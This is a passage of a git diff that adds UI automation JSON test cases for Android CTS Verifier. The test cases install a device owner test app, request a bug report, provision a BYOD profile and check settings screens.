dict(d.resource_id(\\\"com.android.systemui:id/clock\\\").get_attributes())['text']\\n\\nresult = d.text(\\\"Most recent bug report\\\").down().text(time, MatchOption.CONTAINS).verify_exist()\\nuicd_util.assert_true(result, \\\"Element not found\\\")\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"03e1f3e9-94d8-48bb-9d96-2ea48565e6e9\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"03e19599-15d9-4cff-acc4-88b977853f25\",\"fece80c6-bee5-43e4-90ca-191f56421177\",\"589394c1-b8e5-4dde-9204-1f533d477e7a\",\"ade60687-589d-4c6c-a9fa-53ea5e71b542\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"18d592ec-a43f-4de7-b8c0-260136c30c87\",\"03e1f3e9-94d8-48bb-9d96-2ea48565e6e9\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"16-03-Request bug report","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.171000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4f3ec13b-589a-4ca3-b456-7224028d0604 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4f3ec13b-589a-4ca3-b456-7224028d0604
new file mode 100644
index 0000000..3a58d79
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4f3ec13b-589a-4ca3-b456-7224028d0604
@@ -0,0 +1 @@
+{"uuid":"4f3ec13b-589a-4ca3-b456-7224028d0604","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify if screen back to Device Owner requesting Bugreport \",\"actionId\":\"4f3ec13b-589a-4ca3-b456-7224028d0604\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if screen in Set up device owner\",\"actionId\":\"005b1a23-e192-475d-a1b2-8574c342143b\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Set up device owner\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"b2534f13-24a6-4a56-9f15-0e6940805ceb\",\"displayText\":\"Set up device owner\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.cts.verifier:id/set_device_owner_button\",\"text\":\"Set up device owner\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":238.0,\"x2\":178.5,\"y2\":280.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":88.0,\"y\":257.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":1.25,\"y\":1.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"b2534f13-24a6-4a56-9f15-0e6940805ceb\",\"firstText\":\"Set up device owner\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Set up device owner\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":20.0,\"y1\":239.0,\"x2\":156.0,\"y2\":276.0}}],\"childrenIdList\":[\"005b1a23-e192-475d-a1b2-8574c342143b\",\"370c511c-5950-4b3a-b832-60f2a606a27a\",\"bd22d00c-3bff-4749-8763-3323c17809bb\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify if screen back to Device Owner requesting Bugreport ","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.070000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4f868606-0d5b-44a3-9c85-f9cb48c66dbb b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4f868606-0d5b-44a3-9c85-f9cb48c66dbb
new file mode 100644
index 0000000..f967c17
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4f868606-0d5b-44a3-9c85-f9cb48c66dbb
@@ -0,0 +1 @@
+{"uuid":"4f868606-0d5b-44a3-9c85-f9cb48c66dbb","details":"{\"type\":\"CompoundAction\",\"name\":\"16-Managed device info tests\",\"actionId\":\"4f868606-0d5b-44a3-9c85-f9cb48c66dbb\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Managed device info tests\",\"actionId\":\"504affcd-9814-43da-833d-e8ea944c96a8\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Managed device info tests\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"6cc7fd56-370b-490b-9a66-fd6802c07be8\",\"displayText\":\"Managed device info tests\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Managed device info tests\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":476.0,\"x2\":351.25,\"y2\":518.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":106.5,\"y\":497.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":73.5,\"y\":-0.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"6cc7fd56-370b-490b-9a66-fd6802c07be8\",\"firstText\":\"Managed device info tests\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Managed device info tests\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":1.0,\"y1\":483.0,\"x2\":212.0,\"y2\":512.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Managed device info tests\",\"actionId\":\"676c051f-b032-4956-9630-0c19c28f2924\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Managed device info tests\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Click pass button if all tests passed\",\"actionId\":\"37a48d5c-9586-4f5c-a13c-a7733f5576e0\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.cts.verifier:id/pass_button\"},{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"true\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"504affcd-9814-43da-833d-e8ea944c96a8\",\"676c051f-b032-4956-9630-0c19c28f2924\",\"137e850e-d1e1-4fda-85f0-7a71c6aa39d8\",\"bc8d1d81-e862-43e2-aa54-1056b9e26f14\",\"4e7e041d-2ca6-409d-9c9f-544c4f9a4a0a\",\"e242b517-2878-473b-bf43-ae1e7c299f21\",\"0e6339c1-dd60-4126-9c18-82a1171245ce\",\"8f2375c4-da47-4673-b46d-88bfca894fbf\",\"e09a8291-7909-4e13-aadd-413ef0f26bdc\",\"879b4b50-6fba-4899-ad51-c9819adc7dc6\",\"97168770-8a71-4ad5-b1a3-6fad42f11159\",\"e2eae039-e0f9-4bad-a122-3b67582d0cb2\",\"c0bfb788-3dfc-45f1-8def-af860884289c\",\"2776b178-6e89-4fea-9f72-a7733427ef39\",\"63dd640e-a661-47cc-964a-e73a3d4c0f1f\",\"8a47ce64-ec2d-4a20-a91b-f89000b7e2bc\",\"a28853a0-0f2d-4148-807e-1387a6a31d3a\",\"bfcd3a5c-3fa3-4976-9b6e-aea47e073512\",\"76a9632c-6b66-4bec-9423-e4f09af91996\",\"37a48d5c-9586-4f5c-a13c-a7733f5576e0\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_NotificationBot_apk_path=$HOME/Documents/rvc_release/android-cts-verifier/NotificationBot.apk\"}}","name":"16-Managed device info tests","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.166000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/514adc8f-fe99-4674-89cf-24028055b96e b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/514adc8f-fe99-4674-89cf-24028055b96e
new file mode 100644
index 0000000..068b48b
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/514adc8f-fe99-4674-89cf-24028055b96e
@@ -0,0 +1 @@
+{"uuid":"514adc8f-fe99-4674-89cf-24028055b96e","details":"{\"type\":\"CompoundAction\",\"name\":\"Launch Gestures settings\",\"actionId\":\"514adc8f-fe99-4674-89cf-24028055b96e\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"shareWith\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to System\",\"actionId\":\"d9407a16-455d-466f-9611-1d6e52ad4164\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"System\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"e391277f-2bdb-4040-9e7d-ff3d50178073\",\"displayText\":\"System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b4bc27b5-c9c1-4632-996d-fe0770c63a73\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"276952fc-6ff7-4001-87d7-ffc831b8e44b\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":590.3333333333334,\"x2\":45.333333333333336,\"y2\":621.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":586.6666666666666,\"x2\":63.0,\"y2\":625.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"9408b9dc-3cdb-44d6-aea0-5ccfd76b3e42\",\"displayText\":\"System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"d2a756e8-b340-45d0-9449-447cd6adcecd\",\"displayText\":\"System\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"System\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":588.0,\"x2\":109.66666666666667,\"y2\":607.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-4.166666666666657,\"y\":4.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"System\"},{\"uuid\":\"129e3c0e-99d5-41af-84a0-2076c10dc24f\",\"displayText\":\"Languages, gestures, time, backup\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Languages, gestures, time, backup\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":607.0,\"x2\":251.66666666666666,\"y2\":624.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Languages, gestures, time, backup\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":574.0,\"x2\":346.0,\"y2\":638.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"System\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":574.0,\"x2\":360.0,\"y2\":638.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":90.5,\"y\":593.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":89.5,\"y\":13.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"d2a756e8-b340-45d0-9449-447cd6adcecd\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"System\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":57.0,\"y1\":575.0,\"x2\":124.0,\"y2\":611.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, System\",\"actionId\":\"6fa47e5b-4d95-497e-b0e7-5057a759149b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"System\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Gestures\",\"actionId\":\"04b016d8-7804-44aa-87c7-602bc190514a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Gestures\"}],\"childrenIdList\":[\"9be89845-047e-4ef4-98dc-caa8cd186c76\",\"d9407a16-455d-466f-9611-1d6e52ad4164\",\"6fa47e5b-4d95-497e-b0e7-5057a759149b\",\"04b016d8-7804-44aa-87c7-602bc190514a\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Launch Gestures settings","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.199000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5225d3a3-cf6f-48c8-ab8a-e04571eb69dc b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5225d3a3-cf6f-48c8-ab8a-e04571eb69dc
new file mode 100644
index 0000000..e2b6a98
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5225d3a3-cf6f-48c8-ab8a-e04571eb69dc
@@ -0,0 +1 @@
+{"uuid":"5225d3a3-cf6f-48c8-ab8a-e04571eb69dc","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify None/Swipe/Patten/PIN lock\",\"actionId\":\"5225d3a3-cf6f-48c8-ab8a-e04571eb69dc\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, PIN\",\"actionId\":\"33ea9cbf-a7c3-48d0-a202-d6e16140a4d6\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"PIN\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"0c88bde8-4610-4558-af55-e493737adf53\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"3e3b1b72-32eb-4f57-a45f-d477fdcb1993\",\"33ea9cbf-a7c3-48d0-a202-d6e16140a4d6\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"0c88bde8-4610-4558-af55-e493737adf53\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify None/Swipe/Patten/PIN lock","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.160000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/544656b1-7930-44f1-ba63-fdafd4b08b09 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/544656b1-7930-44f1-ba63-fdafd4b08b09
new file mode 100644
index 0000000..6c0d9b8
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/544656b1-7930-44f1-ba63-fdafd4b08b09
@@ -0,0 +1 @@
+{"uuid":"544656b1-7930-44f1-ba63-fdafd4b08b09","details":"{\"type\":\"CompoundAction\",\"name\":\"01_Profile owner installed\",\"actionId\":\"544656b1-7930-44f1-ba63-fdafd4b08b09\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to BYOD Managed Provisioning\",\"actionId\":\"bccc76c8-d5d6-4f14-a766-01e16a53a40b\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"BYOD Managed Provisioning\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"c811188b-a321-453d-957c-7c5483fcf87b\",\"displayText\":\"BYOD Managed Provisioning\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"BYOD Managed Provisioning\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":228.66666666666666,\"x2\":351.3333333333333,\"y2\":270.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":120.5,\"y\":251.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":59.5,\"y\":-1.3333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"c811188b-a321-453d-957c-7c5483fcf87b\",\"firstText\":\"BYOD Managed Provisioning\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"BYOD Managed Provisioning\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":8.0,\"y1\":237.0,\"x2\":233.0,\"y2\":265.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, BYOD Managed Provisioning\",\"actionId\":\"df4f9e98-c47f-4f27-b20e-254b61539389\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"BYOD Managed Provisioning\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/prepare_test_button\",\"actionId\":\"d469a2d3-76c8-4acb-96d3-70d6a15f1903\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/prepare_test_button\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Click Delete if needed\",\"actionId\":\"304b2c0a-9bf1-430d-b89c-cca677025313\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"android:id/button1\"}]},\"clickAfterValidation\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Accept & continue\",\"actionId\":\"c1342977-055d-42a7-8fdb-17208bf3e634\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Accept & continue\"},{\"type\":\"WaitAction\",\"name\":\"WAIT for 20 secs\",\"actionId\":\"b5d8e5fb-7b86-4add-bd45-398ed3c27a96\",\"actionType\":\"WAIT_ACTION\",\"actionDescription\":\"Setting up...\",\"delayAfterActionMs\":20000,\"createdBy\":\"pololee\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Next\",\"actionId\":\"06a365fd-6a6b-4b5d-a30b-9e3775336f9a\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"}],\"childrenIdList\":[\"bad420dc-5e82-4d72-abc6-3b748c8fffdf\",\"79031c08-46b9-4830-80ad-500a4585c4d4\",\"26f26923-eb98-45dd-9343-9a2626768de5\",\"bccc76c8-d5d6-4f14-a766-01e16a53a40b\",\"df4f9e98-c47f-4f27-b20e-254b61539389\",\"02e61821-abdc-499f-8cfb-82c7912a7e1f\",\"d469a2d3-76c8-4acb-96d3-70d6a15f1903\",\"304b2c0a-9bf1-430d-b89c-cca677025313\",\"c1342977-055d-42a7-8fdb-17208bf3e634\",\"b5d8e5fb-7b86-4add-bd45-398ed3c27a96\",\"06a365fd-6a6b-4b5d-a30b-9e3775336f9a\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"01_Profile owner installed","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.318000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/553582bb-ae2d-4759-a0a7-f73067bf7e89 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/553582bb-ae2d-4759-a0a7-f73067bf7e89
new file mode 100644
index 0000000..0cf7cb9
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/553582bb-ae2d-4759-a0a7-f73067bf7e89
@@ -0,0 +1 @@
+{"uuid":"553582bb-ae2d-4759-a0a7-f73067bf7e89","details":"{\"type\":\"CompoundAction\",\"name\":\"Click \\\"Go\\\" button\",\"actionId\":\"553582bb-ae2d-4759-a0a7-f73067bf7e89\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Go button\",\"actionId\":\"2bd577f4-0373-49e3-81b1-d8911d599e90\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button3\"}],\"childrenIdList\":[\"2bd577f4-0373-49e3-81b1-d8911d599e90\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click \"Go\" button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.229000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5595e3fe-1f8d-453a-a103-8d15ac2ec05d b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5595e3fe-1f8d-453a-a103-8d15ac2ec05d
new file mode 100644
index 0000000..d60febf
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5595e3fe-1f8d-453a-a103-8d15ac2ec05d
@@ -0,0 +1 @@
+{"uuid":"5595e3fe-1f8d-453a-a103-8d15ac2ec05d","details":"{\"type\":\"CompoundAction\",\"name\":\"Install Device Owner\",\"actionId\":\"5595e3fe-1f8d-453a-a103-8d15ac2ec05d\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Install Device Owner\",\"actionId\":\"54f30549-2c3f-43b2-a52a-a6e9150d1816\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"riacheltseng\",\"commandLine\":\"install -r -t $uicd_DeviceOwner_apk_path\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"54f30549-2c3f-43b2-a52a-a6e9150d1816\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Install Device Owner","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.068000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/56cbd2d5-2a74-4b2f-aaf1-d2fe2aa5f479 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/56cbd2d5-2a74-4b2f-aaf1-d2fe2aa5f479
new file mode 100644
index 0000000..1324b22
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/56cbd2d5-2a74-4b2f-aaf1-d2fe2aa5f479
@@ -0,0 +1 @@
